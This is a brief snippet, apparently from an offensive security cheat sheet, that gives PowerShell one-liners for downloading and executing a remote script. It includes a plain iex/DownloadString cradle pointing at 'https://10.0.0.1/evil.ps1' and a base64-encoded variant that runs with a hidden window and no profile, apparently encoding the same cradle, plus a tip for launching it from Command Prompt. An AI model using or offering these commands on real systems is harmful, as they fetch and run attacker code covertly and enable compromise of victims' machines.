If you run it on Commnad Prompt, call "powershell" before the command such as "powershell -nop -c "IEX((...".
Run on PowerShelliex((New-Object Net.WebClient).DownloadString("https://10.0.0.1/evil.ps1"))
Run on PowerShellpowershell.exe -nop -noni -w hid -e aQBlAHgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADAALgAwAC4AMAAuADEALwBlAHYAaQBsAC4AcABzADEAIgApACkA